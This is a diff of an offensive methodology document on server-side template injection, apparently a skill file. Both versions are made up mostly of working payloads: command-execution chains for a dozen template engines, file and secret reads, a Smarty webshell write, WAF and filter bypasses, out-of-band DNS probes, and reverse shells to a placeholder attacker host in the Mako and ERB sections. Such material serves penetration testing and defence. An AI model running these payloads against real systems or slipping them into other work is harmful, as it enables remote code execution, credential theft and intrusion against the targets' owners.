offensive-ssti ยท diff
git:20260825.f7a0553 to git:20260826.4c7fcfd
416 added, 437 removed. Audit F to F.
---
name: offensive-ssti
- description: "Server-Side Template Injection methodology covering detection through exploitation across all major template engines. Includes polyglot detection strings and engine fingerprinting decision trees, engine-specific exploitation for Jinja2 (MRO sandbox escape), Twig (_self.env gadgets), Freemarker (Execute class), Velocity (Runtime.exec), Pebble (java.lang.Runtime), Smarty (literal tag abuse), Mako (module.os), Handlebars (prototype pollution to RCE), ERB (system/exec), and Thymeleaf (SpEL expression injection). Covers blind SSTI via time-based delays, OOB DNS exfiltration, and error inference. Addresses filter bypass through encoding, string concatenation, attribute access alternatives, and WAF evasion. Maps exploitation in modern frameworks including Flask, Django, Spring Boot, Express, and Rails. Details chaining paths from SSTI to SSRF, file read, and full RCE, plus automated exploitation with tplmap and SSTImap."
+ description: "Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution."
---
- # Server-Side Template Injection (SSTI)
+ # Server-Side Template Injection (SSTI) -- Offensive Methodology
- Server-side template injection occurs when user input is concatenated into a template
- string and processed by the template engine as code rather than data. The engine
- evaluates the injected expression, giving you access to the server-side runtime. In
- most engines this leads directly to remote code execution because template languages
- expose access to the underlying language's object model. You find SSTI wherever
- developers pass user input to functions like `render_template_string()`,
- `Template.compile()`, or `new Template()` instead of passing it as a template variable.
+ SSTI exists wherever user-controlled input is concatenated into a server-side
+ template string and the engine evaluates it as code. The engine executes
+ attacker-supplied directives, granting access to the language runtime and, in
+ nearly every engine, remote code execution through the host language's object
+ model. You encounter SSTI in any application passing raw user input to functions
+ like `render_template_string()`, `Template()`, or `compile()`.
+ CWE-1336. MITRE ATT&CK T1190.
+
## Quick Workflow
- 1. Identify all reflection points: URL parameters, POST bodies, headers, JSON values, path segments.
- 2. Inject polyglot detection strings and observe responses for evaluation, errors, or blank output.
- 3. Fingerprint the template engine using engine-specific syntax and error signatures.
- 4. Confirm server-side execution (not client-side rendering or XSS).
- 5. Select engine-specific payloads for information disclosure, file read, or RCE.
- 6. Bypass filters and WAF rules using encoding, concatenation, or alternative attribute access.
- 7. For blind contexts, use time-based, OOB DNS, or error-based inference techniques.
- 8. Chain SSTI to SSRF, file read, or full RCE depending on the engine and sandbox.
+ 1. Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
+ 2. Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
+ 3. Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
+ 4. Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
+ 5. Escalate to information disclosure: dump config, env vars, secrets, internal paths.
+ 6. Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
+ 7. Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
+ 8. Produce non-destructive PoC with unique marker and capture the full request/response chain.
---
- ## Detection and Engine Fingerprinting
-
- ### Polyglot Detection Strings
+ ## 1. Engine Detection and Fingerprinting
- Inject these strings into every reflection point. Each one triggers evaluation in
- different engine families, so a single response that shows mathematical evaluation,
- an error traceback, or blank output where the string should appear indicates SSTI.
+ ### 1.1 Polyglot Probes
```text
- # Universal polyglots - inject these first
- ${{<%[%'"}}%\
- {{7*7}}
- ${7*7}
- <%= 7*7 %>
- {{7*'7'}}
- #{7*7}
- *{7*7}
- @(7+7)
-
- # Engine-narrowing probes
- {{config}} # Jinja2/Flask - dumps app config
- {{self}} # Jinja2 - returns TemplateReference
- ${T(java.lang.Math).PI} # Thymeleaf/SpEL - returns 3.14159...
- ${class.getSimpleName()} # Velocity - returns class name
- {$smarty.version} # Smarty - returns version string
- {{_self.env}} # Twig - returns Environment object
- <#assign x=1>${x} # Freemarker - returns 1
- ${self.module.__name__} # Mako - returns module name
+ ${{<%[%'"}}%\ Universal polyglot
+ {{7*7}} Double-curly arithmetic
+ {{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
+ <%= 7*7 %> ERB / EJS style
+ #{7*7} Pebble / Pug / Thymeleaf contexts
+ @(7+7) Razor (.NET)
```
- ### Engine Fingerprinting Decision Tree
-
- Use a systematic approach to identify the engine. Start with `{{7*7}}` and branch
- based on the response:
+ Engine-narrowing probes:
```text
- Inject {{7*7}}
- |
- +-- Returns "49" --> Jinja2, Twig, Nunjucks, or Handlebars
- | |
- | +-- Inject {{7*'7'}}
- | +-- Returns "7777777" --> Jinja2 or Nunjucks
- | | +-- Inject {{config}} --> returns config? --> Jinja2 (Flask)
- | | +-- Inject {{range(10)}} --> works? --> Nunjucks
- | +-- Returns "49" --> Twig
- | +-- Error --> Handlebars (limited expression support)
- |
- +-- No output or error --> Try ${7*7}
- | +-- Returns "49" --> Freemarker, Velocity, Mako, or Thymeleaf
- | | +-- Inject ${class} --> returns object? --> Velocity
- | | +-- Inject ${T(java.lang.Math).PI} --> returns pi? --> Thymeleaf (SpEL)
- | | +-- Inject <#assign x=1>${x} --> returns 1? --> Freemarker
- | | +-- Error contains "mako" --> Mako
- | +-- No output --> Try <%= 7*7 %>
- | +-- Returns "49" --> ERB (Ruby) or EJS (Node)
- | +-- Error with "erb" or "Erubi" --> ERB
- | +-- Error with "ejs" --> EJS
- |
- +-- Reflected literally --> Try @(7+7)
- +-- Returns "14" --> Razor (.NET)
- +-- No evaluation --> Likely not vulnerable (or requires different syntax)
+ {{config}} Jinja2/Flask config dict
+ {{_self.env}} Twig Environment object
+ {$smarty.version} Smarty version string
+ <#assign x=1> Freemarker (then reference x in dollar-curly)
```
- ### Error-Based Identification
+ For Velocity, inject `#set( $x = 7 * 7 )` then reference `$x`.
+ For Thymeleaf/SpEL, inject a dollar-curly expression with `T(java.lang.Math).PI`.
+ For Mako, inject a dollar-curly expression with `self.module.__name__`.
- Deliberately trigger errors to extract engine and version information from stack traces:
+ ### 1.2 Decision Tree
```text
- # Trigger division by zero or type errors
- {{7/0}} # Jinja2: ZeroDivisionError traceback
- ${7/0} # Freemarker: ArithmeticException
- <%= 7/0 %> # ERB: ZeroDivisionError
- {{foobar}} # Twig: Variable "foobar" does not exist
- ${foobar} # Velocity: prints literally (no error, useful signal)
- {{__xxxxxxx__}} # Jinja2: UndefinedError with engine name in traceback
+ {{7*7}} --> 49?
+ YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
+ --> "49"? --> Twig
+ --> error? --> Handlebars
+ NO --> dollar-curly with 7*7 --> 49?
+ YES --> dollar-curly with class ref --> Velocity
+ dollar-curly with T(Math).PI --> Thymeleaf
+ <#assign x=1> then ref x --> Freemarker
+ error contains "mako" --> Mako
+ NO --> <%= 7*7 %> --> 49?
+ error with "erb"/"Erubi" --> ERB
+ error with "ejs" --> EJS
+ @(7+7) --> 14? --> Razor
```
- ### Blind SSTI Detection
+ ### 1.3 Error Signatures
- When output is not reflected (email templates, PDF generation, background jobs), use
- out-of-band and time-based techniques.
+ | Signature | Engine |
+ |--------------------------------------------------|------------|
+ | `jinja2.exceptions.UndefinedError` | Jinja2 |
+ | `Twig\Error\SyntaxError` | Twig |
+ | `freemarker.core.ParseException` | Freemarker |
+ | `org.apache.velocity.exception` | Velocity |
+ | `com.mitchellbosecke.pebble.error` | Pebble |
+ | `SmartyCompilerException` | Smarty |
+ | `mako.exceptions.SyntaxException` | Mako |
+ | `Parse error` with Handlebars context | Handlebars |
+ | `SyntaxError` with ERB path | ERB |
+ | `org.thymeleaf.exceptions.TemplateProcessing` | Thymeleaf |
+ | `SyntaxError` with `.ejs` path | EJS |
+ | `Pug:Error` | Pug |
- ```text
- # Time-based: cause a measurable delay
- {{range(99999999)|join}} # Jinja2
- ${T(java.lang.Thread).sleep(5000)} # Freemarker/Thymeleaf
+ ### 1.4 Blind Detection
- # OOB DNS/HTTP exfiltration
- {{''.__class__.__mro__[1].__subclasses__()[XXX]('nslookup COLLAB.oastify.com',shell=True,stdout=-1).communicate()}}
- {{'/usr/bin/curl http://COLLAB.oastify.com/'|filter('system')}}
+ **Time-based:** `{{range(99999999)|join}}` (Jinja2), `<%= sleep(5) %>` (ERB).
+ For Java engines, inject a dollar-curly with `T(java.lang.Thread).sleep(5000)`.
- # Error inference: compare responses for {{7*7}} vs {{7*'INVALID}}
- # Different behavior (error page vs normal) confirms engine processing
- ```
+ **OOB DNS:** Use Burp Collaborator or interactsh. Jinja2:
+ `{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}`.
+ Twig: `{{['nslookup UNIQUE.oastify.com']|map('system')}}`.
+ **Error inference:** Compare `{{7*7}}` vs `{{7*'INVALID}}` -- different response
+ behavior confirms processing.
+
---
- ## Engine-Specific Exploitation
+ ## 2. Jinja2 / Python
- ### Jinja2 (Python) - MRO Sandbox Escape
+ Exploitation relies on MRO traversal to `object`, subclass enumeration, and
+ `__globals__`/`__builtins__` access.
- Jinja2's sandboxed mode restricts attribute access, but you bypass it by walking the
- Method Resolution Order (MRO) to reach `object.__subclasses__()` and from there to
- dangerous classes like `subprocess.Popen` or `os._wrap_close`.
+ ### 2.1 MRO Traversal and Subclass Enumeration
```python
- # Step 1: Reach the object base class via MRO
- {{ ''.__class__.__mro__[1] }}
- # Returns: <class 'object'>
-
- # Step 2: List all subclasses
- {{ ''.__class__.__mro__[1].__subclasses__() }}
+ {{''.__class__.__mro__[1]}} # Reach object base class
+ {{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
- # Step 3: Find subprocess.Popen (index varies by Python version)
- # Enumerate at runtime - never hardcode the index
+ # Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
- {% if 'Popen' in cls.__name__ %}
- {{ loop.index0 }}: {{ cls }}
- {% endif %}
+ {% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
+ ```
- # Step 4: RCE via subprocess.Popen
- {{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0] }}
+ ### 2.2 RCE Chains
- # Alternative: reach os module through __globals__
- {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
+ ```python
+ # Via subprocess.Popen (replace INDEX with runtime value)
+ {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
- # Alternative: through cycler (works in strict sandboxes)
- {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
+ # Via self.__init__.__globals__
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
- # Alternative: through config object (Flask)
- {{ config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read() }}
+ # Via request.application (Flask)
+ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
- # File read without RCE
- {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
+ # Via config object
+ {{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}
+
+ # Via cycler (bypasses some sandboxes)
+ {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
+
+ # Via lipsum / namespace / joiner globals
+ {{lipsum.__globals__.os.popen('id').read()}}
+ {{namespace.__init__.__globals__.os.popen('id').read()}}
+
+ # Via warnings module search
+ {% for x in ().__class__.__base__.__subclasses__() %}
+ {% if "warning" in x.__name__ %}
+ {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
+ {% endif %}
+ {% endfor %}
```
- ### Twig (PHP) - _self.env and Filter Abuse
+ ### 2.3 File Ops and Info Disclosure
- Twig 1.x exposed `_self.env` which gave access to the Environment object and its
- methods. Twig 2.x+ removed direct access, but filter-based exploitation remains
- viable when unsafe extensions are loaded.
+ ```python
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
+ {{config}} # Flask config
+ {{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
+ {{request.environ}} # WSGI env
+ ```
- ```php
- # Twig 1.x - _self.env access (deprecated but still found in legacy apps)
- {{_self.env.registerUndefinedFilterCallback("exec")}}
- {{_self.env.getFilter("id")}}
+ ---
- # Twig 2.x/3.x - filter-based execution (requires 'system' or similar in allowed filters)
- {{'id'|filter('system')}}
- {{'cat /etc/passwd'|filter('exec')}}
+ ## 3. Twig / PHP
- # Twig - information disclosure
- {{app.request.server.all|join(',')}}
- {{app.request.cookies.all|join(',')}}
- {{'/'|file_excerpt(1,30)}}
+ ### 3.1 Legacy (Twig 1.x) -- _self.env
- # Twig - reading files via the source function (if available)
- {{'/etc/passwd'|file_excerpt(1,100)}}
+ ```php
+ {{_self.env.registerUndefinedFilterCallback("system")}}
+ {{_self.env.getFilter("id")}}
+ ```
- # Twig 3.x - map filter for RCE
- {{'id'|filter('passthru')}}
- {{['id']|map('system')|join}}
- {{['cat /etc/passwd']|map('passthru')}}
+ ### 3.2 Modern (Twig 2.x/3.x) -- Filter Callbacks
- # Twig - using sort filter with a callback
- {{['id',0]|sort('system')|join}}
+ ```php
+ {{'id'|filter('system')}} # filter() with system
+ {{'id'|filter('passthru')}} # filter() with passthru
+ {{['id']|map('system')|join}} # map() callback
+ {{['id',0]|sort('system')|join}} # sort() callback
+ {{[0,'id']|reduce('system')}} # reduce() callback
```
- ### Freemarker (Java) - Execute Class
+ ### 3.3 Info Disclosure
- Freemarker provides the `freemarker.template.utility.Execute` class which directly
- executes system commands when instantiated via the `?new()` built-in.
+ ```php
+ {{app.request.server.all|join(',')}} # Symfony server vars
+ {{dump(app)}} # Full app dump
+ {{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
+ {{'/etc/passwd'|file_get_contents}} # If exposed as filter
+ ```
- ```java
- // Direct RCE via Execute class
- <#assign cmd = "freemarker.template.utility.Execute"?new()>
- ${cmd("id")}
- ${cmd("cat /etc/passwd")}
+ ---
- // Alternative one-liner
- ${"freemarker.template.utility.Execute"?new()("id")}
+ ## 4. Java Template Engines
- // ObjectConstructor for arbitrary class instantiation
- <#assign classloader=object?new("java.lang.ProcessBuilder", ["id"])>
- ${classloader.start()}
+ ### 4.1 Freemarker -- Execute and ObjectConstructor
- // File read via TemplateModel
- ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
+ RCE via the Execute class -- use `<#assign>` to instantiate it, then reference
+ it in a dollar-curly expression with the command string as argument:
- // Environment variable disclosure
- ${.data_model}
- ${.globals}
+ ```http
+ GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
+ Host: target.example.com
```
- ### Velocity (Java) - Runtime.exec
+ ObjectConstructor for ProcessBuilder:
- Velocity templates access Java objects directly. Use the `$class` variable or
- reflection to reach `java.lang.Runtime`.
+ ```html
+ <#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
+ <#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
+ <#assign proc = pb.start()>
+ ```
+ ### 4.2 Velocity -- Runtime.exec
+
```java
- // Classic RCE via Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
- #set($reader = $class.inspect("java.io.BufferedReader").type)
- #set($isr = $class.inspect("java.io.InputStreamReader").type)
- #set($input = $reader.getDeclaredConstructor($isr).newInstance($process.getInputStream()))
- #foreach($i in [1..100])
- #set($line = $input.readLine())
- #if($line) $line #end
- #end
-
- // Shorter alternative
- #set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
- $x.waitFor()
- #set($s=$class.inspect("java.util.Scanner").type)
- #set($sc=$s.getDeclaredConstructor($x.getInputStream().getClass()).newInstance($x.getInputStream()))
+ #set($s = $class.inspect("java.util.Scanner").type)
+ #set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
```
- ### Pebble (Java) - java.lang.Runtime
-
- Pebble is a Java template engine inspired by Twig. It exposes Java objects through
- template expressions.
+ ### 4.3 Pebble -- Reflection Chain
```java
- // RCE via beans and Runtime
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
-
- // Alternative via ProcessBuilder
- {% set pb = (1).TYPE.forName('java.lang.ProcessBuilder') %}
- {% set process = pb.getDeclaredConstructors()[0].newInstance([['id']]) %}
- {{ process.start().inputStream.readAllBytes() }}
```
- ### Smarty (PHP) - literal Tag and Static Methods
-
- Smarty allows PHP code execution through several vectors depending on version and
- configuration.
-
- ```php
- // Smarty 3.x - {php} tags (if enabled, disabled by default in 3.1+)
- {php}echo shell_exec('id');{/php}
-
- // Smarty - static method calls
- {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
-
- // Smarty - {literal} tag abuse for JavaScript injection leading to SSJI
- {literal}<script>document.location='http://attacker.com/?c='+document.cookie</script>{/literal}
+ ### 4.4 Thymeleaf -- SpEL via Preprocessing
- // Smarty - math function abuse
- {math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
+ Thymeleaf preprocessing evaluates double-underscore-wrapped expressions before
+ template resolution. Inject into path variables or parameters:
- // Smarty - information disclosure
- {$smarty.version}
- {$smarty.template}
- {$smarty.config}
+ ```http
+ GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
+ Host: target.example.com
```
- ### Mako (Python) - Module-Level Imports
-
- Mako templates have direct access to Python's module system through the `self.module`
- namespace, making RCE straightforward.
-
- ```python
- # Direct os module access
- ${self.module.cache.util.os.popen('id').read()}
-
- # Alternative via __import__
- <% import os %>${os.popen('id').read()}
-
- # Using the module namespace
- ${self.module.os.popen('id').read()}
-
- # File read
- <% f = open('/etc/passwd').read() %>${f}
+ File read:
- # Reverse shell
- <% import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]) %>
+ ```http
+ GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
+ Host: target.example.com
```
- ### ERB (Ruby) - system and exec
+ SpEL keyword bypass via Character references:
+ `T(Character).toString(105).concat(T(Character).toString(100))` produces `id`.
- ERB (Embedded Ruby) templates execute Ruby code directly within `<%= %>` tags.
+ Spring bean access: `@environment.getProperty('spring.datasource.password')`.
- ```ruby
- # Command execution
- <%= system("id") %>
- <%= `id` %>
- <%= exec("id") %>
- <%= IO.popen("id").read() %>
+ ---
- # File read
- <%= File.open('/etc/passwd').read() %>
- <%= Dir.entries('/') %>
+ ## 5. Other Engines
- # Reverse shell
- <%= require 'socket'; TCPSocket.open('ATTACKER',4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
+ ### 5.1 Smarty (PHP)
- # Environment variables
- <%= ENV.to_a.map{|k,v| "#{k}=#{v}"}.join("\n") %>
+ ```php
+ {$smarty.version} # Version disclosure
+ {php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
+ {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
+ {math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
```
- ### Thymeleaf (Java/Spring) - SpEL Expression Injection
-
- Thymeleaf in Spring Boot applications evaluates Spring Expression Language (SpEL).
- When user input reaches a Thymeleaf template path or expression, you get code execution
- through SpEL.
+ ### 5.2 Mako (Python)
- ```java
- // SpEL RCE via T() operator (type reference)
- ${T(java.lang.Runtime).getRuntime().exec('id')}
+ Mako compiles to Python modules with full runtime access. Block-style:
- // SpEL with output capture
- ${T(org.apache.commons.io.IOUtils).toString(
- T(java.lang.Runtime).getRuntime().exec('id').getInputStream()
- )}
+ ```python
+ <% import os; result = os.popen('id').read() %>
+ ```
- // URL-based injection in Spring Boot (path variable interpreted as template)
- // GET /path;/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
+ Then output the variable in a dollar-curly expression. URL-encoded single-line:
- // Thymeleaf preprocessor expressions
- __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
+ ```http
+ GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
+ Host: target.example.com
+ ```
- // File read via SpEL
- ${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
+ ### 5.3 ERB (Ruby)
- // Environment disclosure
- ${@environment.getProperty('spring.datasource.password')}
+ ```ruby
+ <%= system("id") %> # Command exec
+ <%= `id` %> # Backtick exec
+ <%= File.open('/etc/passwd').read() %> # File read
+ <%= Rails.application.credentials.secret_key_base %> # Rails secrets
+ <%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
```
- ### Handlebars (Node.js) - Prototype Pollution to RCE
+ ### 5.4 Handlebars (Node.js)
- Handlebars is logic-less by design, but prototype pollution or unsafe helpers create
- RCE paths.
+ Logic-less by design; RCE requires prototype pollution or unsafe helpers:
```javascript
- // Prototype pollution to RCE (requires a pollution gadget)
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}
+ ```
- // Via unsafe custom helpers: {{execute "id"}}
- // Info disclosure: {{this}}, {{@root}}
+ ### 5.5 EJS (Node.js)
+
+ ```javascript
+ <%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
```
- ---
+ Prototype pollution via `outputFunctionName`:
- ## Filter Bypass and WAF Evasion
+ ```http
+ POST /render HTTP/1.1
+ Content-Type: application/json
- ### Character Restriction Bypass (Jinja2)
+ {"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
+ ```
- When characters like `.`, `_`, `[`, or `'` are filtered, use alternative access methods.
+ ### 5.6 Pug / Nunjucks (Node.js)
- ```python
- # Dot (.) blocked - use attr() filter or bracket notation
- {{ request|attr('application') }}
- {{ request['application'] }}
+ Pug:
- # Underscore (_) blocked - use hex encoding
- {{ ''|attr('\x5f\x5fclass\x5f\x5f') }}
- # Or pass via request parameter: ?a=__class__
- {{ ''|attr(request.args.a) }}
+ ```javascript
+ - var x = global.process.mainModule.require('child_process').execSync('id').toString()
+ p= x
+ ```
- # Quotes blocked - use request parameters to inject strings
- # URL: ?cmd=id&module=os
- {{ self.__init__.__globals__.__builtins__.__import__(request.args.module).popen(request.args.cmd).read() }}
+ Nunjucks:
- # Brackets blocked - use attr() chains
- {{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}
+ ```javascript
+ {{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
+ ```
- # Multiple restrictions - combine techniques
- # Pass components via URL parameters and assemble at runtime
- # URL: ?c=__class__&m=__mro__&s=__subclasses__
- {{ ()|attr(request.args.c)|attr(request.args.m)|last|attr(request.args.s)() }}
+ ---
+
+ ## 6. Filter and WAF Bypass
+
+ ### 6.1 Character Restriction Bypass (Jinja2)
+
+ ```python
+ # Dot blocked -- use |attr() or brackets
+ {{request|attr('application')}}
+ {{request['application']}}
+
+ # Underscore blocked -- hex encode (\x5f = _)
+ {{''['\x5f\x5fclass\x5f\x5f']}}
+ # Or pass via request param: ?a=__class__
+ {{''|attr(request.args.a)}}
+
+ # Brackets/quotes blocked -- chain |attr() with request.args
+ # URL: ?a=__class__&b=__mro__&c=__subclasses__
+ {{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
```
- ### String Concatenation Evasion
+ ### 6.2 String Construction
```python
- # Jinja2 - concatenate blocked keywords
- {{ ''['__cla'+'ss__'] }}
- {{ ''|attr('__cla'~'ss__') }} # Tilde is Jinja2 concat operator
- {{ ''|attr(['__cla','ss__']|join) }}
+ # Tilde concatenation
+ {{''|attr('__cla'~'ss__')}}
- # Jinja2 - build strings from chr() via request
+ # Join filter
+ {{''|attr(['__cla','ss__']|join)}}
+
+ # Plus in brackets
+ {{''['__cla'+'ss__']}}
+
+ # chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
- {{ ''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)] }}
+ {{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
- # Twig - concatenate
- {{ ('sys'~'tem')('id') }}
+ # Twig tilde
+ {{('sys'~'tem')('id')}}
```
- ### Encoding-Based Bypass
+ ### 6.3 Attribute Access Alternatives
```python
- # Hex encoding for attribute names (Jinja2)
- {{ request['\x5f\x5fclass\x5f\x5f'] }}
- {{ request|attr('\x5f\x5fclass\x5f\x5f') }}
-
- # Unicode encoding
- {{ request|attr('__class__') }}
+ {{obj|attr('__class__')}} # |attr() filter
+ {{obj.__getattribute__('__class__')}} # __getattribute__
+ {{obj['__class__']}} # bracket notation
+ {{obj|attr('__getitem__')('key')}} # |attr() + __getitem__
+ ```
- # Octal encoding
- {{ request|attr('\137\137class\137\137') }}
+ ### 6.4 Encoding and Smuggling
- # Base64 in Mako
- <% import base64; exec(base64.b64decode('aW1wb3J0IG9zOyBwcmludChvcy5wb3BlbignaWQnKS5yZWFkKCkp')) %>
+ ```python
+ # Hex/octal encoding
+ {{request['\x5f\x5fclass\x5f\x5f']}}
+ {{request|attr('\137\137class\137\137')}}
- # URL encoding for WAF bypass (double-encode if WAF decodes once)
- %7B%7B7*7%7D%7D
- %257B%257B7*7%257D%257D # double-encoded
+ # Request parameter smuggling
+ # URL: ?c=__class__
+ {{request|attr(request.args.c)}}
+ # URL: ?f=%s%sclass%s%s&a=_
+ {{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
+ # URL: ?l=a&a=_&a=_&a=class&a=_&a=_
+ {{request|attr(request.args.getlist(request.args.l)|join)}}
```
- ### WAF-Specific Bypass Techniques
+ ### 6.5 WAF Evasion Techniques
```text
- # Technique: Break tokens across parameters
- # Some WAFs scan individual parameters but not their combination
- ?a={{&b=7*7&c=}}
-
- # Technique: Use HTTP parameter pollution
- ?name={{7*7}}&name=safe_value # Some backends take the first, WAF checks the last
+ Parameter splitting: ?a={{&b=7*7&c=}}
+ HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
+ Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
+ Double URL encoding: %257B%257B7*7%257D%257D
+ Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
+ Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)
+ ```
- # Technique: Content-Type confusion
- # Submit as application/json or multipart/form-data if the WAF only inspects
- # application/x-www-form-urlencoded
+ ### 6.6 Engine-Specific Bypass
- # Technique: Case variation (engine-dependent)
- # Some engines are case-insensitive for built-in names
- {{Config}} # May work if WAF blocks lowercase {{config}}
+ Freemarker -- when `?new()` is restricted, use ObjectConstructor:
- # Technique: Whitespace and comment injection
- {{ 7 * 7 }} # Extra spaces
- {%- if 1 -%}49{%- endif -%} # Jinja2 whitespace control
- {{7 *- 7}} # Unusual operator spacing
+ ```html
+ <#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
+ <#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
```
- ---
+ Thymeleaf -- build strings from `T(Character).toString()` calls to avoid keyword filters.
- ## Modern Framework Exploitation
+ ---
- Framework-specific notes supplement the engine-specific payloads above.
+ ## 7. Blind Exploitation
- ```text
- FRAMEWORK ENGINE NOTES
- ------------------------------------------------------------------------
- Flask (Python) Jinja2 Check for Werkzeug debugger at /__debugger__
- Secrets: {{config.SECRET_KEY}}, {{config['SQLALCHEMY_DATABASE_URI']}}
+ ### 7.1 Time-Based
- Django (Python) Django DTL Limited by design: no arbitrary code exec
- Info disclosure: {%debug%}, {{request.META}}
+ ```python
+ {{range(99999999)|join}} # Jinja2: CPU-intensive delay
- Spring Boot (Java) Thymeleaf/SpEL Path-based SSTI: /path/__${PAYLOAD}__::.x
- Bean access: ${@environment.getProperty('spring.datasource.url')}
- SpEL bypass: ${T(Character).toString(105).concat(T(Character).toString(100))}
+ {% for x in ().__class__.__base__.__subclasses__() %}
+ {% if "warning" in x.__name__ %}
+ {{x()._module.__builtins__['__import__']('time').sleep(5)}}
+ {% endif %}
+ {% endfor %} # Jinja2: explicit sleep
+ ```
- Express (Node.js) EJS/Pug EJS: <%=this.constructor.constructor('return process...')()%>
- Pug: - var x = global.process.mainModule.require(...)
- Nunjucks: {{range.constructor("return ...")()}}
+ ```php
+ {{['sleep 5']|map('system')}} # Twig
+ ```
